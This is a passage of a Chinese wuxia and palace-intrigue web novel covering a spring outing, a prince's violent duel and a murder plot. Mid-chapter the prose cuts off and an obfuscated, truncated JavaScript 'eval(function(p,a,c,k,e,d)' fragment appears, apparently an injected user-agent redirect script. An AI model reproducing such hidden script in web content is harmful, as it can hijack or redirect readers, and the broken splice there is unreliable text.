“诶，我的贵人符。”林梦本想制止萧云雁拿走那贵人符，却不料萧云雁突然凑到了她跟前，直勾勾地盯着她问道“那林姑娘打算如何感谢我这贵人。” 林梦从出生都没有被这样近距离的“逼问”过，脸不知怎么竟然红了。 “我……” “不如就请我喝糖水吧。” 说罢萧云雁撤回了她的脸，径直向茶水铺子走去，直到这时，林梦的脑子才回过神来。 她算哪门子的贵人！竟然还把贵人符拿走了！竟然还要自己请她喝糖水！父亲这符有问题吧！ 43. 游鹿坪丘 潇湘阁的马车缓缓驶入后院，沈轻离在车上已经给晴儿做了简单的包扎，晴儿的状态也比之前好了不少。晴儿跟着进了潇湘阁瞬间就被眼前的景象给惊呆了。 这潇湘阁后院水榭楼台应有尽有，花红柳绿若不是提前知道，只会将这里当作哪个豪绅的后花园。里面的姑娘来来往往，个个面带笑容似乎都很享受在这里的时光，与仙乐楼形成了鲜明的对比。 沈轻离将晴儿带了一个房间，房间虽然不及晴儿在仙乐楼的大，但是屋中的桌椅用的都是上好的黄花木，配置的胭脂水粉也都是京城最出名的胭脂铺的新鲜款式。更别说那几只簪子，就像是为了她量身定制的一般，晴儿面容开朗不妖艳，这几支簪子没有镶嵌夺目的红宝石，却用了雪域特产的松绿石，与她格外相配。 晴儿看着眼前的这一切有一种身处梦境的感觉，直到沈轻离开口才打断了她的思绪。 “晴儿，以后你就住这间房间吧。若是还缺什么，尽管和账房直接说，” “沈楼主……我……”晴儿也不知自己是太激动了还是太感动了，开口之后声音竟然都有些颤抖了。这才开口就显了丑她也有些不好意思，赶忙清了清了嗓子，再度开口道：“多谢沈楼主的安排，晴儿感激不尽。” “你也不必着急谢我，来我们坐下，我有几个问题要问你，你把你知道的全部告诉我，就当作我这次帮你的报酬吧。” 听了这话，晴儿更是感动，这是何等慷慨，自己知道的东西，从来不是什么秘辛，还能换来这样的好日，急忙点头应下。 “那日你们去了崔伦府上都死了，你是怎么活下来的？” “我在进仙乐楼之前都是在河边长大的，从小水性就不错。当日崔大人突然开始伤人之时我离他较远，身后就是水池，当时我想也没想就跳了下去。然后我就看到他提剑杀人，我当时害怕极了，大多数时间都是潜在水下，只有需要换气的时候才敢浮出水面。” “这样的情况持续了多久？” “整个院子都安静下来的时候已经入夜了。” “那你为何第二日才去报官？” “那会我本想着偷偷溜出去，但是崔大人他……他守在大门口。”说到这晴儿似乎回忆起什么非常恐怖的画面，整个人又开始发抖，说话都有些断断续续。 “他还没晕？” “对！他在大门口数人！不错就是数人！” “数人？” “不错，嘴里好像嘟囔着说，还少了两个。我当时以为他发现我没死，我便躲到了水边的草丛中，直到第二天天亮，我发现他没有在大门口了，我才敢离开。” “好，我明白了，晴儿我知道你现在可能对于那崔府有阴影，但是可能明日还要你再去一趟。” “我？现在崔府不是已经被封了吗？” “不错，所以只有你能进去。” 晴儿自然知道自己对于那崔府怕得不行，但是潇湘阁救了自己的命，还是沈楼主当面提的，晴儿难免有些不好拒绝。 “我要做什么？” “你就和官府说，你那日去落了一只西域珠钗在里面，希望可以将钗子找回来。”说着沈轻离就从袖口中掏出一只钗子交给晴儿。 “这只是借口吧，沈楼主是想让我找其他东西？” “不错，我要你去找一本账本，应该是一本十年前的账本，找到一定要注意藏好，千万别让刑案司的人给拿走了。你可愿意？” “晴儿的命都是楼主给的，这点事情当然愿意。” “好，那你明日就去，记住一定要快些。” 安顿好晴儿之后，沈轻离再度离开了绕到了潇湘阁后面的一个小巷中，巷中早有一个身着黑色斗篷的人在这里等候。 “见过阁主令。”沈轻离对于此人非常尊敬，不敢有丝毫怠慢，这一切都因为在黑色斗篷下一枚三眼朱雀令格外显眼。 “人都安顿好了？她都说什么？” “已经安排好了，她说那崔伦最后在数人，嘴里一直重复着还差两个。少阁主，该不会除了晴儿还有人活着离开了崔府吧。” 她本以为少阁主会让她再去查，不料对方却说：“不会，他说的不是这个人。她可愿意明日再去一趟崔府？” “她答应了。” “好，那你让她再看看有没有一本名册。” “是！” 此时沈轻离虽然也好奇，这数人数得不是这次他杀的人，还能是什么，但是此时显然找到这本名册更为关键。 “他说的那两人是当年鬼月余党侥幸生还的袁家兄妹二人。但是他如何知道这二人的存在就与那名册息息相关了。” 似乎是预料到沈轻离还有疑问，这答案竟然就这样从天而降。只是说完这黑袍人便要离去。沈轻离急忙相送，却不料人还没走远，问题又来了。 “对了，之前让你留意的老二和老五最近可有来过楼里？” 听到这话沈轻离顿时有一种醍醐灌顶的感觉“你……你是！二殿下因为此次崔伦的案子，来买过崔伦的消息，但是五殿下确实很久都没有来过了。” “好，这些事，以后你多留意，特别是老五，以后他来潇湘阁就算只是点了姑娘也一并记下来，但是一定要注意保密。” “是！”沈轻离话音刚落抬起头，就已经不见对方身影，巷子中只留下她一人心潮澎湃，好像就在刚刚她知道了这位少阁主的身份。 京都此时的阳光已经不再寒冷毫无暖意，照耀在身上带着淡淡的温暖。若是在这样的阳光下快步行走，竟然还会微微冒汗。萧妖雪现在就体现的真切，刚刚见完了沈轻离，现在她正在快步向着府邸赶去，毕竟今晚可是约了袁梅和黄清落一同讨论踏青之事，若是去晚了，又要被她们拿来打趣。 春天是黄清落最喜欢的季节，因为只有这个时候，她可以有充分的理由去踏青，而她那古板的父母却不能以天气炎热，北风呼呼为由阻止她去。更何况这次还是同萧妖雪和袁梅去，她爸妈更不用担心她的安危。 出游的计划自然很快就定了下来，而地点仍然是选在李家的鹿坪丘别院。萧妖雪因为考虑到李安国对于的黄清落的心思，所以就暗暗使劲将日子定在了休沐的时候。这样也顺便叫上了赵江河和袁墨，这样几个年轻人也就顺理成章，一同去往鹿坪丘踏青了。 到了鹿坪丘，萧妖雪便带着袁梅和黄清落去了后山的桃花林，此时正值桃花盛放，鹿坪丘的后山若不是因为私属于李治，那此时应当已全是来踏青赏花的人了。 几个女子聚在一起，或许是因为有黄清落在的原因，萧妖雪和袁梅都默契的没有去谈那些朝堂的血雨腥风，几人就是这样如同那些寻常的家的女子一般，谈谈京都的胭脂铺，聊聊那新式的衣裙，说说新开的食肆。一时之间萧妖雪和袁梅都有些恍惚，对于这样的时刻也满是留恋。 “对了妖雪，之前圣人给你指了婚，听说你去胡笳城的时候就已经遇到了这位三殿下，他人如何？”黄清落终究还是没有忍住这已经躁动了许久的的八卦之心。她经过一番衡量确定了现在正是谈此八卦的好时候。 “确实见过，这人和京都中这些的确不一样。” “他相貌如何？身高几尺？是胖是瘦？性格怎样？可喜欢说话？对人怎样？”黄清落得了萧妖雪的回应，八卦之心再也藏不住了，一连串问出了一堆问题，把萧妖雪和袁梅的都给看呆了。 “清落，你这问的，我该回答哪一个好呢。” “不知道先回答哪一个那就顺着说说呗。”这次袁梅抢在了黄清落之前开口，萧妖雪看向袁梅，没想到这姑娘也是一脸快快细说的表情。 “你们……唉……我在胡笳城也不过呆了两日，与三殿下不过几面。我只能说他这人看起来不招人厌，但是有时候做事挺阴的。” 袁梅和黄清落自然听出萧妖雪心中对于这周明理确实还是满意，二人也都默契露出了‘原来如此’的表情。 萧妖雪一看她俩这副心意相通的表情，就觉得心中火焰熊熊燃烧。不过好在这两人，在随性聊天上还真是自己挖坑自己跳。有时萧妖雪都不知道她们是无意的还是故意的，因为黄清落才刚刚和袁梅配合挖苦完萧妖雪，便将矛头指向了袁梅。 “袁姐姐，你与赵大人的婚约，还没退呢。听说之前赵大人是亲自登门给你送礼呢，你们该不会要日久见真情了吧。” 此时袁梅心里别提有多想揍黄清落一顿了，她可真会找话题，这提壶技巧确实令人敬佩。 “如此良辰美景我们真的要如此煞风景吗？妖雪你知道的消息多，能不能还击她一下。”袁梅对于这个一直就很头大，其实第一次见面后，她对于赵江河已经没有那么排斥了，但是真要说他两好到要成亲，那还远远达不到。所以黄清落这问题也算是一针见血的扎在了袁梅的痛处，好在几人这段时间的关系已经好到她们可以通过一句玩笑话一带而过。 但是这也提醒了萧妖雪，现在李安国还在山下和赵江河、袁墨在那高谈阔论，她应该制造点机会让他们二人接触接触。 只希望不是落花有意流水无情，不然就像这山上的桃花一样，独自芬芳也不需要有流水相衬，这样的景色还能更美一些。 兴许也是这段时间来到京城，袁梅太过紧张，今日难得这样放松，她不禁提起千机伞跃入花树之下。 气息流转，落花飞舞，千机伞已展开又震落花瓣无数，落下的花瓣萦绕周身，如同千机伞为即将破茧的蝴蝶遮风挡雨。 萧妖雪也同样起身这次并没有流彩剑的引导，而是轻轻一揽，便虚抱一捧花瓣，花瓣在怀中团成球，流动之中仿佛是一个有风云流动的小千世界。 黄清落则是拿过一旁的古琴弹奏了起来，眼前二人虽是气息流转，宛若有战场之上兵戈将交，但是黄清落则是选了一曲江南小调，琴音流转之间，将这气息流转，兵戈出鞘流露出的杀气减弱了不少。 待一曲终了，千机伞聚着风夹带着花瓣而下，袁梅周身的茧破开，化作万千花瓣向着萧妖雪飘去。 与此同时萧妖雪轻轻推出，怀中花球也迎着那漫天花瓣而去。二者只是这样轻轻的一碰，花瓣竟然拔地而起，向着树梢而去，最后若伞盖一般化作漫天花雨飘落而下。 三人就这样静静地等待着这场花雨的结束，待花瓣落尽，夕阳已经透过树梢照在了几人身上。微凉的春风让众人又回到了原本属于她们的真实世界。 “天色不早了，是时候回去吃饭了。” “好呀好呀，正巧肚子饿了呢，我们今晚都吃什么呢？听说最近有春笋，也不知道今晚有没有。” “你这脑子里就不能装点正经事吗？” 至于山庄中的几人却没了山上女子的闲暇。就在李安国、袁墨和赵江河三人刚刚收拾好，沏了一壶好茶在院中坐下准备好好享受这休沐的时候，一个伙计 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“哈哈哈，我当然不信，但是我也恰巧学过些江湖功夫，这些年在京都一直苦于周围没有对手，不知道这次有没有机会与妖雪过上两招。” 此话一出，李安国顿时感到了不对劲。周明启说得倒也没错他早些年也有走一段时间江湖，会些江湖上把式，但是他是皇子，萧妖雪不过是个女流。就算只讲规矩也不合适，他们二人就算只是相互试探，萧妖雪胜了，那是不给皇家面子，而若是输了，那就不尽全力，有背擂台的规矩，这样下来可不是左右不是人。 正当李安国发愁如何回应的时候，身后传来了萧妖雪的声音“哟，五殿下，什么风把你吹到这里来了。呀，这茶都喝完一壶了，兄长你也是，殿下来了不早些差人来叫我们，这多无理。” 众人目光这才聚集到刚刚前来的萧妖雪身上，却不见之前与她一同上山的袁梅和黄清落二人。 周明启见状也接话道：“诶，此事与他们无关，是我贸然上门，打扰了各位的雅兴。” “……”在场众人一时之间不知道这位皇子到底是要做什么，这话说的让众人都有些汗颜。 “方才听说殿下想同我比试比试？” “不错！我今日来就为了这事。” “殿下莫不是最近京都的画本看多了，还真觉得我武艺超群，能与你一战吧。妖雪我不过是之前游走江湖时为了自保学了些唬人的虚把式罢了。” “无妨既然今天来都来了，你也不能让本殿下白跑一趟呀。” “这……”还不等萧妖雪开口，一旁便插进了一个声音。“家妹确实武艺稀松，若是殿下不嫌弃，不如臣同殿下过几招。” “就你？哈哈哈，好呀。我倒要看看这边关打磨了这些年的李将军本事如何。” 胡铭小记： 自从上次寻过萧云雁后，胡铭也逐渐明白了其中的道理，这件事确实不是他能够左右的。再看看如今那段天行亦是平步青云，虽然胡铭现在一腔热血，想报效东梁，但是这样的情况之下，再是如何的愣头青都看清了这将军阁的性质。 由此胡铭也萌生了一个想法——他要离开将军阁了。而就当胡铭在犹豫何时去说清此事的时候，他收到了胡令从胡笳城给他寄来的信件。 信中的内容没有了那日晚饭之时的针锋相对，但是却让胡铭归心似箭。 胡令信中写道：吾弟胡铭，见字如面，近来可否安好？那日你愤然离去后，父亲突发恶疾，于当夜便撒手人寰。不想你在京都为此担心而耽搁了你的事业，故一直未同你细说。近日吾妻秋鸿将为我胡家添丁，你若得闲暇，亦可回来一叙。若是繁忙，便留心自身。 看到这胡铭不知道为何眼泪控制不住的流了下来，此时此刻他多希望自己不是在锦衣玉食的京都，而是在寸草不生的大漠。心中一横，胡铭便去了将军阁。 最近阁中没有大事，胡铭本以为主事之人今日定然不在，都已经准备好拜别的书信。 却没料到今日这将军阁格外热闹，单骁坐在主位，下面坐着几位管事的，胡铭都没有见过，但是在末尾有一人他确实认识，那便是之前一同前往荷县的段天行。 经了允许胡铭进去后，当单骁问起他为何事而来的时候，胡铭的心中难免又有了一丝动摇。毕竟当时自己走得如此决绝，现在若是这样一事无成……这些想法在他有看到段天行那副嘴脸的时候一扫而空。 “各位大人，今日我胡铭是来请辞的。最近家中出了些事，胡铭作为大丈夫，自当回去一趟，胡笳城路途遥远往返多日，恐怕对于将军阁之后之事会多有耽误，所以便想同诸位大人说一声。胡铭感念将军阁这段时间对我的照顾，但是今日确实要暂时离开将军阁了。” 说完之后，在做一片寂静，似乎都在等着单骁的态度。 “家中有难，你作为胡家子嗣，自然没有不去的理由，将军阁本邀诸位本就是看中诸位有情有义，胡铭你便放心去，将军阁中你的位置永远为你留着，只要你愿意回来。” 听到这话，胡铭再次为了自己之前对于单骁的一些想法感到愧疚，甚至一度想要反悔。却不料单骁竟然直接吩咐人手给他准备了金银细软，以及一匹快马。 也再由不得胡铭犹豫，翌日清晨便打点好行囊，一路向西而去。 44. 游鹿坪丘2 不错应战之人正是李安国，他这些年在战场也磨练不少，虽说不会气息，但是自身沾了不少杀气，就算是对上普通的江湖之人也有一战之力。 虽然他能隐约感受到，这位五殿下应当是不属于这类普通江湖客，但是好歹不至于坏了君臣礼仪。 二人来到鹿坪丘的天井之中，李安国拿了一柄长枪，这是他之前上战场最常用的武器，长枪在战场上能有效的防止敌人近身，在江湖上耍长枪的江湖客同样是那些使短刀暗器近身对战之人的克星。 所以当周明启只是拿出一柄短刀的时候，李安国内心悄悄松了一口气。 长枪横在身前，李安国的眼睛紧紧地盯着周明启，而周明启却是一副悠闲的姿态，就好像这对手不是一个久经沙场的少年将军，而是一个路边年老的乞丐。 这样的神情，难免让李安国有些恼火，便率先上前出招，长枪在空中抡起一个弧度，向着周明启刺去，可就在李安国脚步刚刚向前之时，眼前的周明启竟然化作一道虚影，向着侧边移去，然后便消失在了李安国的视野之中。 李安国心中大喊不妙，立刻想转身防守，余光却瞥见一旁萧妖雪一脸严肃，眉头紧锁。紧接着还不等他回身便觉得背部仿若被一颗炮弹击中，巨大的力量传遍全身，脚下的沙土根本阻止不了他向前冲出去的力量。 在旁人看来，李安国便是想出□□周明启，但是周明启此时已经来到他身后，并且给了他轻轻一肘击而李安国就这样飞了出去。就在他快要凭借长枪站稳的时候，周明启手持短剑又出现在他身后，几道银光掠过，李安国四肢顿时泄了力，扑通一声跪倒在地。 而周明启似乎并没有收手的意思，一剑直刺向李安国的咽喉，眼见已经要将人置之死地，却没有丝毫要停手。 只听得叮当一声金属相碰，周明启竟然向后退了几步，而萧妖雪此时已经挡在了李安国身前。 “五殿下这是何意，比试而已何故要置我兄长于死地？” “呀，萧姑娘，不好意思呀，这许久没有遇到这样不堪一击的对手了，我总想着他留有后手，实在是没有控制住呀。” “你……呜！呜……”赵江河一听顿时气得跳了起来却被旁边的袁墨一把拉住捂住了嘴，避免他说出什么大逆不道的话。 “你这人就这样草菅人命吗？就算你们只是单纯的比试，就算他不及你强，这可以是杀人的理由吗？我看你就是疯子！”赵江河被制止了，但是在场还是有人说出了众人的心声。 “清落！”袁梅赶到的时候黄清落已经一口气把刚刚的话说完了，而且已经去全部传进了周明启的耳朵。 但是很明显这是周明启想要得到的效果，他再看向萧妖雪，似乎是希望她也赞同这样的观点，然后怒火中烧，最后忍不住冲上来和自己打一架。 却不料萧妖雪再度让他失望，对方虽然是挡在李安国身前，面如寒霜，但是却没有丝毫要动手的意思。周明启从小身边的人都是人精，他现在当然看出了萧妖雪的意思。她已经看出了这其中的目的，不会再上钩了，但是若是现在他再出手的话，那么这女子恐怕会毫不顾忌皇家之事将他重伤，或者直接杀死。 “五殿下，我兄长现在伤得很重，你们是比武我不怨你，但是现在我想这里也没有人再有空招待了你，不如五殿下便趁着这天还没黑，快些回京吧。” “萧姑娘，说得有理，但是我还不能走。毕竟萧姑娘还没有答应我和我一战。” 此话一出萧妖雪的脸更冷了，一旁的袁梅本想出言打断，却不料萧妖雪竟然应下了这比试。 只见她转身又查看了一遍李安国的伤势，对着黄清落说道：“清落，你做事心细，可否麻烦等会你与家丁一同将兄长送到医馆？” “没问题。”黄清落这次虽然还是不明白为何萧妖雪要安排她去，但是源自于这段时间天生的对萧妖雪的崇拜和信任她还是很爽快的答应了。 一旁就有家丁快速的将李安国架走，黄清落也紧随其后的离开了。 “五殿下，请吧。”萧妖雪安顿好李安国后对着周明启一礼，二人来到院中，双方身上的杀气顿时弥漫了整个院子。赵江河和袁墨不习武，这回脸色已经略微有些苍白。 这次二人同时出手，萧妖雪的流彩剑夹杂着冰霜围绕着周明启在半空盘旋，时不时对着周明启冲去。刚刚周明启与李安国对战的时候她已经看出来，周明启应当是练了一部上好的轻功，至于其他，以他的年岁和身份应当是没有机会练成，所以以流彩剑为囚牢也可以阻止他的轻功。 果然这样是有效果的，周明启尝试了几次突破剑笼，但是都失败。不过他也是聪明人，既然轻功没法施展，那就只能暴力突破。果然前面的流彩剑聚集，挡住他的去路，身后的流彩剑形成偷袭之势，流彩剑虽有十七枚，但是除非偷袭，不然不会单枚使用，这样一聚集周明启身侧的流彩剑显然露出了空缺。 只见周明启看似突破前方，却蓄力侧身攻向一旁，同时轻功运转，避开了后方刺来的暗箭。 行动得到了自由，周明启采取了和刚刚对付李安国同样的身法，绕到了萧妖雪的身后。眼见萧妖雪并没有转身应对，周明启已经将剑架到了萧妖雪脖颈之上的时候。周明启心中暗喜想到，原来这传说中潇湘阁出来的女侠也不过如此的时候，他的突然意识到，好像视野中有什么不对劲的地方。 在他喉结前方，好像也停着一枚流彩剑。这枚流彩剑，应当一开始就没有去到剑笼之中，而是一直在这里等待着他的到来。而就在这时周明启的后脑勺被什么东西狠狠的砸了一下，一低头，他便看一个冰坨子落在了地上，并且快速的化成了水。 显然是萧妖雪趁着他刚刚关注流彩剑的时候凝聚出来的。若是这不是一个冰坨子，而是一枚冰锥子，那他恐怕现在已经没命了。 “五殿下承让，今日我们也算打了个平手。”眼见周明启收了刀，萧妖雪也才控制着身后的那枚流彩剑落回腰间。 “哈哈哈，不愧是萧姑娘，这最后一手留得漂亮。” “不知现在五殿下可否早些回去了？” “那是自然，袁姑娘不如送我一段？”周明启答应的果断，却又叫上了袁梅，众人心中都是疑惑，这看起来这两人是认识？ 就连袁墨都不知道，自己妹妹竟然认识这样一位皇子。 再看向袁梅，也没有什么犹豫，点点头便跟着周明启出了院门。留下几人在院中面面相觑。 “袁墨，他俩认识？”萧妖雪看向袁墨。 “我不清楚，小梅之前游走江湖，或许有什么机会见过？”袁墨也是一脸不明。 袁梅跟着周明启出去一路无话，直到周明启刷先开口道：“梅姐姐，你怎么到京都也不同我说一声，我不是都给了京都联系我的方式了吗。那日我在街上看到你，都以为是我眼花了。”现在若是萧妖雪他们在场看到周明启这幅如同小狗摇尾乞怜的模样，一定会吓一跳。 “五殿下，我们本就是萍水相逢，我来京都已经有我兄长接应，我想就不必麻烦你了。”袁梅看到周明启的震惊，完全不亚于看到李安国重伤。 “小梅，之前我没告诉你我的身份，完全是因为担心你会因为我的身份与我相处有所顾虑，本想着你到京都，我们见面就可以说清楚。这事是我不对，你别生气了。”袁梅虽然心中不悦周明启瞒着自己，但是考虑到他的身份，也觉得情有可原。加上周明启顶着这样一幅上好的外表同自己求情。袁梅心中也是控制不住的一松。 “那好吧，那你出手伤了妖雪这兄长这事？” “这确实是我下手重了，之后我定然让人送些上好的补品过去。我再差几个名医一同去，保证她兄长恢复如初。小梅，你觉得这事样如何？” 袁梅之前在闯江湖的时候遇到了周明启，当时他只说他是富家子弟出来游学，袁梅自然也信了，二人作伴同行了小半年。缔结下的友谊确实深厚，而周明启在这一路上最喜欢的事，就是冲袁梅撒娇，而袁梅却不知为何，完全抵挡不住他的撒娇。 这次虽然有些日子不见了，但是二人相互之间的感觉还是一如既往。 “那好吧，你之前不是说在京都有家烧肉味道很不错，改日记得请我吃，你隐瞒你身份这事就算过去了。至于妖雪那边，你今日做的这样绝对，你就自己去和她解释吧。” “小梅，果然是你最好，我保证一定和她解释清楚。你等会回去也要再帮我说几句好话，到时候吃烧肉的时候，我给你带陈年桂花酿。我走了，之后我会派人给你传信的。”说罢，周明启便潇洒的挥手离开。 “哼，算你小子识相。”袁梅低低地哼了一声，也不在乎周明启听到与否，只是她没看到周明启背对她的脸上浮上了一个略含苦涩的笑容。 袁梅回到鹿坪丘后，除了离开的李安国和黄清落，其他几人都已经正襟危坐的等着她回来了。 袁墨率先开口问道：“你们俩认识？” 袁梅被这样严肃的气氛弄得有些不自在，但是也还是尝试着理解他们的心情，毕竟刚刚这周明启可是不分青红皂白的闹了一通，大家对他当然是有所戒备。 “我之前在游历的时候与他认识的。但是我保证我那时候真的不知道他是皇子。而且当时他平日里也不是这样的。” “袁梅，那这次你来京都后可有再见过他？”萧妖雪问道。 “没有。当时他只说他是京都有钱人家的孩子，让我到了京都去鸳鸯布行托人带话找他。这段时间不一直都有事情缠身，所以我也并没有去寻他。” “之后你们再有交集，你要多留心，这个五皇子可不是一般人。”萧妖雪忍不住还是提醒道。，毕竟根据这段时间潇湘阁给出的消息来看，最近发生的不少事情背后都有这位五皇子的推波助澜。 “妖雪，你放心吧，我们只是朋友。”袁梅倒是觉得萧妖雪的担心有些多余了，一来自己看来与这周明启不过是泛泛之交，二来这周明启可是皇子，现在已经入仕哪还有这么多时间来和自己纠葛不清。 显然现在在场的几人对于周明启考虑都异常长远，除了赵江河，他平日里不参与这样那样的党争，但是他这次看见周明启叫着袁梅出去的时候，就有一股危机感油然而生，他一时之间还不清楚这样的情绪从何而来，只能将它简单归结为周明启对于自己的朋友们戾气太重。 京都已经接连好几天没有落雨，加上白日里太阳，就算鹿坪丘在山里也略显干燥。 是夜赵江河躺在床上翻来覆去，难以入眠。思来想去，终于明白今日为何如此焦躁，恐怕是因为周明启对着袁梅一叫，他们便一同出去。或许是今日他们来到鹿坪丘，袁梅一句话都没有同自己说过，却和周明启这一去便是一个多时辰。或许是那书中静静地安放着一纸本应被撕毁的婚书。 思绪遭乱，听着外面风吹着新嫩的树叶发出沙沙的声响，赵江河只觉得口干舌燥。便披了件单衣打算去厨房讨口水喝。 刚来到院子中，却见一人坐在院中，遥遥看着天上的星月，这人正是袁梅。 袁梅听到有脚步声，便转头望去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还真是一点都喝不了呀。”袁梅忍不住又取笑一句，但是还是将赵江河扶回了他的卧房。替他盖好被，熄了灯。转身的时候却意外的看到桌上放着一块玉雕，上面的图案是一个女子站在梅花树下，举着一把伞遮住飘洒的花瓣。而这把伞袁梅一眼就认了出来，正是赵江河此前送自己的千机伞。 袁梅小记： 盛元十二年，袁梅开始游历江湖，她去的第一处便是天下武学大成之地——无量山。这无量山本与其他几处武学胜地并列前茅，可是自从武清持断秋水，在那一战之后，这无量山就声名大噪，将其他几个地方远远甩在了身后。 袁梅到的时候恰逢樱花盛开，满山的樱花美不胜收。袁梅在山上呆了一月有余，天天就在这美如仙境的地方生活，让她的剑气都带着一丝柔美。 一月之后，落樱遍地，再抬头只剩满树绿意盎然。袁梅也就拜别无量山的众人，继续踏上了旅途。 而就在无量山下面的小镇中她就遇到了周明启。 当时周明启化名周元，二人相识是在一家酒馆，这酒馆在小镇上是出了名的生意好。那日袁梅去得早，有幸坐了一张靠窗的桌子。 打开窗户便可看到旁边的溪流，溪水自无量山上而来，清澈见底，这个季节溪中还不时夹杂一些花瓣。二者相互纠缠着流向远方。 正当袁梅看着溪水中的花瓣入迷的时候，小二突然过来问道：“客官，可否是一个人来的？可愿意同这位公子拼个桌？” 袁梅抬头一看便看到周明启那张盛世美颜，他一笑还有两个能甜死人的小酒窝。 “姑娘若是愿意，今日姑娘这桌在下一起买了。” 袁梅看着桌上一壶酒几碟小菜，对面若是再坐一人确实也足够，便说道：“公子尽管坐，买单就不必了。” 对方也不客气，对着小厮吩咐道：“一壶烧酒，一只烧鸡，一碟花生米。” “得嘞公子！”小二见问题解决了，便乐呵呵的去被菜去了。 周明启坐下，也一眼看到了窗外的风景，不由惊叹道：“这风景可真美，姑娘真是好眼光。在下周元，不知姑娘如何称呼？” “在下袁梅。”袁梅本以为只是一个普通的拼桌，没想到这美人话还如此之多，反倒让她有些不知如何应对。 “袁姑娘，听口音不是本地人，看你持剑莫不是来无量山问道的吧。” 话题挑起来袁梅自然不藏着掖着，有这样的美人一同聊天，当然吃花生米都要多嚼一会。“不错，不过我就要走了。无量山已经过了最美的季节了，我就不打算再停留了。公子呢，此番前来又是为何？” “我是从京都来的，本是说来看看这名震天下的无量山的樱花，却不料路上耽搁了，到这的时候，花都谢了，真是可惜。不知袁姑娘接下来打算去何处，我看姑娘是懂这良辰美景之人，想必之后也定然是去一个风景优美的地方吧。” 这一顿夸，袁梅脸都有些发烫，心中暗道今日这酒还真够烈。“我打算去江南看看，听说这会春和景明，那边的水是如同翡翠一般透亮。” 正说着，小儿就把周元的菜给端了上来，周元也大方，将推到了桌子中间，邀请袁梅一同品尝。 袁梅吃了几块，心中想到味道着实不错。 酒足饭饱，最后还是周元买了单，临走时周元突然拉住袁梅道：“袁姑娘，这无量山的花都过了，我便不在这里逗留了。不知之后你前往江南，我可否与你一道？” 袁梅也没想到，这帅哥竟然还要和自己一同前往江南，心中暗暗大喜。但是还是维持住了表面的平静。 “嗯，当然可以，我明日就出发。” “好，我明日在城门口等你。” 45. 新人旧友 周明启离开了鹿坪丘之后便一路直奔王府，今日与萧妖雪的交手他已经完全可以确定，萧妖雪就是现任潇湘阁的少阁主。之前老二那边就流出了有关潇湘阁少阁主现身的流言。如此看来，老二所言非虚。 周明启到了王府的时候，天已经彻底黑了，王府的厅堂却亮如白昼，徐战已经在府邸品着茶候着他了。 “怎么如此慌张？”徐战看着一路风尘的周明启，这小子今天急信把自己叫过来，自己都等了好半天，他才这般狼狈的回来。 “师傅，你之前说萧妖雪的身份，我可以确定了。” “哦？怎么说？” “她一定这任的潇湘阁少阁主。” “这个猜想我们不是早就确认了，你这次为何如此慌张？”徐战在之前冯源入狱的陈词中就基本断定了萧妖雪的身份，他不知道为何事情过去了小半年了周明启又要如此慌张。 “前几天，我的人打听到风声，说二哥已经和她接触了。师傅我们不能再等了，此人不能为我们所用，就必须铲除了。” “明启，你现在怎么如此沉不住气，听风便是雨了。万一这就是周明志故意迷惑你的呢。再说了若是萧妖雪是这少阁主，她现在已经与周明理有婚约在身。为何她舍近求远去找周明志？” 这个问题周明启刚刚着急赶路确实没有想到，现在想来确实奇怪，但是如果她真的是，那他周明启已经被排除在外了，无论如何他都不能再等了。 “师傅，不论怎样我都不能再等了，萧妖雪必须死。这次崔伦的事情，这么快被攻破，就是潇湘阁给了二哥消息，崔伦才百口莫辩。” “明启，你能想到的师傅当然也能想到，你放心就好，我已经安排好了。不仅她萧妖雪要死，我要让整个李家为他陪葬。她以为她现在平步青云，一切尽在掌握，却不知她每赢一步，她就离这坟墓更近一步。崔伦的事情只要鬼月那小子敢接着查，我保证就送她一份大礼。” “师傅考虑周全，不知师傅打算做何安排？” “过两天就是药师诞辰了，届时整个京都的女眷都会为了自家而去祈福。你说她会不会去？” “师傅远虑。”看到徐战早有准备，周明启的心也落下了几分。不然周明启都动了当夜就下江湖追杀令的心思。 “时辰不早了，我就不留了，明启这事你就少插手了，多做多错。过几天圣人恐怕会问你婚事的事情，你可要好好想想怎么回答。” 婚事又是婚事，周明启现在听到徐战说这两个字就感觉恶心，并非说他觉得徐菀露如何不堪，但是他就是不想要一辈子都在徐战的阴影下，就像今日让他不要插手，他就只能乖乖的在一旁看着。若是以后他真的称了帝，还要受徐家这样束缚，那日子定然是不好过。 不过好在至少在圣人心中他的地位还是要比这样一个外臣高一些的，这婚事最终还是要自己点头答应才行，这条路也不是非走不可。 窗外的月明星稀，屋内灯火辉煌却照不清这满盘算计，人人看似坦诚相待，却是心怀鬼胎最好的伪装。 与此同时，县城中的医馆之外同样是月明星稀，但是屋内却只有一摇摇欲灭的烛火。照着脸色惨白的李安国和一脸焦急的黄清落。 黄清落之前见过李安国，但不过是在那京都长街上的一面之缘，对于这个男子她只听说是李相的长子，长相俊美，但却生性冷淡。 这次一同前往鹿坪丘的路上他也并未与她们共乘一车，而是独自骑马而行。 如今这医馆中就留了黄清落和昏迷不醒的李安国，黄清落难免无聊，便细细得打量起李安国。 李安国长得确实与袁墨和赵江河那样的文人差别挺大，乌黑发丝被银冠半束，其余披散在瓷枕之上，更衬得面色近乎霜雪般冷白。剑眉微微拧着，似乎还是能清晰的感受到身体不适。唇色泛白如新刃镀霜，偏生唇角天生微翘，倒将那抹将军独有的孤傲融化了不少。 此时黄清落算是明白了为何之前京都中那些女子对于这位李将军为何如此痴迷。只是说来也奇怪，虽说这李安国条件很好，但是京都中那些与他亲近的女子也毫不逊色，为何他却完全无动于衷？ “！”一个荒谬的念头从黄清落心中闪过，这位公子整日里与赵江河出双入对，他该不会……后面的想法把黄清落吓了一跳。 就在这时，李安国的睫毛微微地动了一下，终于是在昏迷了几个时辰后悠悠转醒，李安国抬眼只看到医馆昏暗的屋顶，在一转头就看到用奇奇怪怪的眼神看着自己的黄清落。 二人眼神一对上，都是一激灵，李安国虽说之前就有私藏黄清落的画像的嫌疑，但是这还是二人第一次独处，这让他不由得有些惊慌。 